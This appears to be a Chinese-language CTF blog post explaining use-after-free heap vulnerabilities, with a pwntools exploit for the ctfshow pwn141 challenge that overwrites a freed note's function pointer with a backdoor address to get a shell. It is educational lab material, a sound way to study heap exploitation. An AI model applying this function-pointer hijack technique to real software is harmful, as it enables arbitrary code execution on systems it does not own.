UAF

本文最后更新于 2025年12月24日 晚上

参考

CTF-WIKI

简介

UAF全称:Using-After-Free

Free(P)->P = nullptr ->Process_OP(P)

内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。

Free(P)->Process_OP(P)

内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转

Free(P)->Self_OP(P)->Process_OP(P)

内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

原理

例题

ctfshowpwn141

根据原理,我们只需要将chunk[x]->func的地址改为backdoor即可,然后调用chunk[x]->func(chunk[x]->content),实现getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
p = p32 if i386 else p64 
u = u32 if i386 else u64

libcPath = '/home/ty/ctf/libc'
libcPath = libcPath + '/i386/' if i386 else libcPath + '/amd64/'

elf = ELF('./pwn')

def Add(size,content):
sla('choice :',str(1))
sla('size :',str(size))
sla('Content :',content)

def Del(index):
sla('choice :',str(2))
sla('Index :',str(index))

def show(index):
sla('choice :',str(3))
sla('Index :',str(index))

Add(32,'aaaa')
Add(20,'bbbb')
Del(0)
Del(1)

backdoor = elf.sym['use']
Add(8,p(backdoor))
show(0)

inter()

代码解读

这里要注意,只有chunk->content具有读写能力

  1. 为什么前两个Note的content的大小要满足 >= 4 && != 8

    • 根据原理,我们知道,如果size=8,那么我们通过流程可知,chunk[2]->content —> chunk[1]—>content,从而不能修改func的地址到backdoor
  2. 为什么最后一个Note的content的大小一定是8

    • 保证它分配的地址一定是chunk[0]—>func,从而利用content的读写性去修改其地址

UAF
https://tforevery.github.io/PWN/HEAP/UAF/
作者
TY
发布于
2025年12月24日
许可协议